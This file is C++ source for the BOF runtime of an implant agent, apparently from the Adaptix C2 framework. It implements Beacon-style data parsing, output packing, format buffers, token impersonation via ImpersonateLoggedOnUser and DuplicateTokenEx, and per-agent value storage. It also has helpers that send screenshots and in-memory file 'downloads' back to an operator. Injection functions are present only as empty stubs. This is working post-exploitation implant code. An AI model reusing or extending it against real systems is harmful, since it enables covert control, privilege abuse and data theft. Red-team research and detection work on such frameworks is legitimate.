2026-04-06 00:20:51 -05:00

538 lines
11 KiB
C++

#include "adaptix.h"
#include "utils.h"
#include "ApiLoader.h"
#include "Packer.h"
#include "Agent.h"
#include "main.h"
#include "Boffer.h"
Packer* bofOutputPacker = NULL;
int bofOutputCount = 0;
ULONG bofTaskId = 0;
HANDLE g_StoredToken = NULL;
BOOL IsAsyncBofThread();
void AsyncBofOutput(int type, PBYTE data, int dataSize);
void BofOutputToTask(int type, PBYTE data, int dataSize)
{
if (IsAsyncBofThread()) {
AsyncBofOutput(type, data, dataSize);
return;
}
if (bofOutputPacker) {
bofOutputPacker->Pack32(bofTaskId);
bofOutputPacker->Pack32(51); // COMMAND_EXEC_BOF_OUT
bofOutputPacker->Pack32(type);
bofOutputPacker->PackBytes(data, dataSize);
}
}
void AsyncBofOutput(int type, PBYTE data, int dataSize)
{
AsyncBofContext* ctx = tls_CurrentBofContext;
if (!ctx || !ctx->outputBuffer)
return;
ApiWin->EnterCriticalSection(&ctx->outputLock);
ctx->outputBuffer->Pack32(ctx->taskId);
ctx->outputBuffer->Pack32(51); // COMMAND_EXEC_BOF_OUT
ctx->outputBuffer->Pack32(type);
ctx->outputBuffer->PackBytes(data, dataSize);
ApiWin->LeaveCriticalSection(&ctx->outputLock);
}
BOOL IsAsyncBofThread()
{
return (tls_CurrentBofContext != NULL);
}
unsigned int swap_endianess(unsigned int indata)
{
unsigned int testint = 0xaabbccdd;
unsigned int outint = indata;
if (((unsigned char*)&testint)[0] == 0xdd) {
((unsigned char*)&outint)[0] = ((unsigned char*)&indata)[3];
((unsigned char*)&outint)[1] = ((unsigned char*)&indata)[2];
((unsigned char*)&outint)[2] = ((unsigned char*)&indata)[1];
((unsigned char*)&outint)[3] = ((unsigned char*)&indata)[0];
}
return outint;
}
/// Data Parser API
//char* BeaconDataPtr(datap* parser, int size);
void BeaconDataParse(datap* parser, char* buffer, int size)
{
if (parser == NULL || buffer == NULL)
return;
parser->original = buffer;
parser->buffer = buffer;
parser->length = size - 4;
parser->size = size - 4;
parser->buffer += 4;
}
int BeaconDataInt(datap* parser)
{
if (parser == NULL)
return 0;
int fourbyteint = 0;
if (parser->length < 4) {
return 0;
}
memcpy(&fourbyteint, parser->buffer, 4);
parser->buffer += 4;
parser->length -= 4;
return (int)fourbyteint;
}
short BeaconDataShort(datap* parser)
{
if (parser == NULL)
return 0;
short retvalue = 0;
if (parser->length < 2) {
return 0;
}
memcpy(&retvalue, parser->buffer, 2);
parser->buffer += 2;
parser->length -= 2;
return (short)retvalue;
}
int BeaconDataLength(datap* parser)
{
if (parser == NULL)
return 0;
return parser->length;
}
char* BeaconDataExtract(datap* parser, int* size)
{
if (parser == NULL)
return 0;
unsigned int length = 0;
char* outdata = NULL;
if (parser->length < 4) {
return NULL;
}
memcpy(&length, parser->buffer, 4);
parser->length -= 4;
parser->buffer += 4;
outdata = parser->buffer;
if (outdata == NULL) {
return NULL;
}
parser->length -= length;
parser->buffer += length;
if (size != NULL && outdata != NULL) {
*size = length;
}
return outdata;
}
/// Output API
void BeaconOutput(int type, const char* data, int len)
{
if (data == NULL)
return;
BofOutputToTask(type, (PBYTE)data, len);
}
void BeaconPrintf(int type, const char* fmt, ...)
{
if (fmt == NULL)
return;
int length = 0;
va_list args;
va_start(args, fmt);
length = ApiWin->vsnprintf(NULL, 0, fmt, args);
va_end(args);
if (length == -1)
return;
length += 1;
char* tmp_output = (char*)MemAllocLocal(length);
va_start(args, fmt);
length = ApiWin->vsnprintf(tmp_output, length, fmt, args);
va_end(args);
BofOutputToTask(type, (PBYTE)tmp_output, length);
MemFreeLocal((LPVOID*)&tmp_output, length);
}
/// Format API
void BeaconFormatAlloc(formatp* format, int maxsz)
{
if (format == NULL) {
return;
}
format->original = (PCHAR)ApiWin->LocalAlloc(LPTR, maxsz);
format->buffer = format->original;
format->length = 0;
format->size = maxsz;
}
void BeaconFormatReset(formatp* format)
{
if (format == NULL)
return;
memset(format->original, 0, format->size);
format->buffer = format->original;
format->length = 0;
}
void BeaconFormatAppend(formatp* format, const char* text, int len)
{
if (format == NULL || text == NULL)
return;
memcpy(format->buffer, text, len);
format->buffer += len;
format->length += len;
}
void BeaconFormatPrintf(formatp* format, const char* fmt, ...)
{
if (format == NULL || fmt == NULL)
return;
va_list args;
int length = 0;
va_start(args, fmt);
length = ApiWin->vsnprintf(NULL, 0, fmt, args);
va_end(args);
if (length <= 0)
return;
if (format->length + length > format->size) {
return;
}
va_start(args, fmt);
ApiWin->vsnprintf(format->buffer, length + 1, fmt, args);
va_end(args);
format->length += length;
format->buffer += length;
}
char* BeaconFormatToString(formatp* format, int* size)
{
if (format == NULL)
return NULL;
if (size != NULL)
*size = format->length;
return format->original;
}
void BeaconFormatFree(formatp* format)
{
if (format == NULL)
return;
if (format->original) {
MemFreeLocal((LPVOID*) &format->original, format->size);
}
format->buffer = NULL;
format->length = 0;
format->size = 0;
}
void BeaconFormatInt(formatp* format, int value)
{
if (format == NULL)
return;
unsigned int indata = value;
unsigned int outdata = 0;
if (format->length + 4 > format->size) {
return;
}
outdata = swap_endianess(indata);
memcpy(format->buffer, &outdata, 4);
format->length += 4;
format->buffer += 4;
}
/// Internal APIs
BOOL BeaconUseToken(HANDLE token)
{
if (ApiWin->ImpersonateLoggedOnUser(token) || ApiWin->SetThreadToken(NULL, token)) {
if (g_StoredToken) {
ApiNt->NtClose(g_StoredToken);
g_StoredToken = NULL;
}
ApiWin->DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &g_StoredToken);
return TRUE;
}
return FALSE;
}
void BeaconRevertToken(void)
{
ApiWin->RevertToSelf();
if (g_StoredToken) {
ApiNt->NtClose(g_StoredToken);
g_StoredToken = NULL;
}
}
BOOL BeaconIsAdmin(void)
{
BOOL high = IsElevate();
return high;
}
void BeaconGetSpawnTo(BOOL x86, char* buffer, int length)
{
char* tempBufferPath = NULL;
if ( !buffer )
return;
}
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO* sInfo, PROCESS_INFORMATION* pInfo)
{
BOOL bSuccess = FALSE;
return bSuccess;
}
VOID BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len)
{
}
VOID BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len)
{
}
VOID BeaconCleanupProcess(PROCESS_INFORMATION* pInfo)
{
}
PDATA_STORE_OBJECT BeaconDataStoreGetItem(SIZE_T index)
{
return NULL;
}
VOID BeaconDataStoreProtectItem(SIZE_T index)
{
}
VOID BeaconDataStoreUnprotectItem(SIZE_T index)
{
}
ULONG BeaconDataStoreMaxEntries()
{
return 0;
}
BOOL toWideChar(char* src, wchar_t* dst, int max)
{
if (max < sizeof(wchar_t))
return FALSE;
return ApiWin->MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, src, -1, dst, max / sizeof(wchar_t));
}
BOOL BeaconInformation(BEACON_INFO* info)
{
return FALSE;
}
BOOL BeaconAddValue(const char* key, void* ptr)
{
if (!key || StrLenA(key) == 0)
return FALSE;
for (const auto& pair : g_Agent->Values) {
if (StrCmpA((const char*)pair.key, key) == 0) {
return FALSE;
}
}
size_t keyLen = StrLenA(key) + 1;
CHAR* newKey = (CHAR*)MemAllocLocal(keyLen);
if (!newKey)
return FALSE;
memcpy(newKey, key, keyLen);
g_Agent->Values.insert(newKey, ptr);
return TRUE;
}
PVOID BeaconGetValue(const char* key)
{
if (!key || StrLenA(key) == 0)
return NULL;
for (const auto& pair : g_Agent->Values) {
if (StrCmpA((const char*)pair.key, key) == 0) {
return pair.value;
}
}
return NULL;
}
BOOL BeaconRemoveValue(const char* key)
{
if (!key || StrLenA(key) == 0)
return FALSE;
for (auto it = g_Agent->Values.begin(); it != g_Agent->Values.end(); ++it) {
if (StrCmpA((const char*)(*it).key, key) == 0) {
LPVOID lpKey = (*it).key;
DWORD dwBufferSize = StrLenA((*it).key) + 1;
MemFreeLocal(&lpKey, dwBufferSize);
g_Agent->Values.remove((*it).key);
return TRUE;
}
}
return FALSE;
}
PCHAR BeaconGetCustomUserData()
{
return NULL;
}
/// System Call API
BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, BOOL resolveIfNotInitialized)
{
return FALSE;
}
//LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
//LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
//BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
//BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
//BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
//BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
//BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
//DWORD BeaconResumeThread(HANDLE threadHandle);
//HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
//HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
//BOOL BeaconCloseHandle(HANDLE object);
//BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);
//SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
//BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
//BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead);
//BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten);
/// Async BOF API
BOOL BeaconRegisterThreadCallback(PVOID callbackFunction, PVOID callbackData)
{
return TRUE;
}
BOOL BeaconUnregisterThreadCallback()
{
return TRUE;
}
void BeaconWakeup()
{
if (g_AsyncBofManager)
g_AsyncBofManager->SignalWakeup();
}
HANDLE BeaconGetStopJobEvent()
{
AsyncBofContext* ctx = tls_CurrentBofContext;
if (!ctx)
return NULL;
return ctx->hStopEvent;
}
/// 3rd party API
HMODULE proxy_LoadLibraryA(LPCSTR lpLibFileName)
{
return ApiWin->LoadLibraryA(lpLibFileName);
}
HMODULE proxy_GetModuleHandleA(LPCSTR lpModuleName)
{
return ApiWin->GetModuleHandleA(lpModuleName);
}
FARPROC proxy_GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
{
return ApiWin->GetProcAddress(hModule, lpProcName);
}
BOOL proxy_FreeLibrary(HMODULE hLibModule)
{
return ApiWin->FreeLibrary(hLibModule);
}
////////// AX Functions
void AxAddScreenshot(char* note, char* data, int len)
{
if (IsAsyncBofThread()) {
AsyncBofOutput(CALLBACK_AX_SCREENSHOT, (PBYTE)data, len);
return;
}
if (bofOutputPacker) {
bofOutputPacker->Pack32(bofTaskId);
bofOutputPacker->Pack32(51); // COMMAND_EXEC_BOF_OUT
bofOutputPacker->Pack32(CALLBACK_AX_SCREENSHOT);
bofOutputPacker->PackStringA(note);
bofOutputPacker->PackBytes((PBYTE)data, len);
}
}
void AxDownloadMemory(char* filename, char* data, int len)
{
if (IsAsyncBofThread()) {
AsyncBofOutput(CALLBACK_AX_DOWNLOAD_MEM, (PBYTE)data, len);
return;
}
if (bofOutputPacker) {
bofOutputPacker->Pack32(bofTaskId);
bofOutputPacker->Pack32(51); // COMMAND_EXEC_BOF_OUT
bofOutputPacker->Pack32(CALLBACK_AX_DOWNLOAD_MEM);
bofOutputPacker->PackStringA(filename);
bofOutputPacker->PackBytes((PBYTE)data, len);
}
}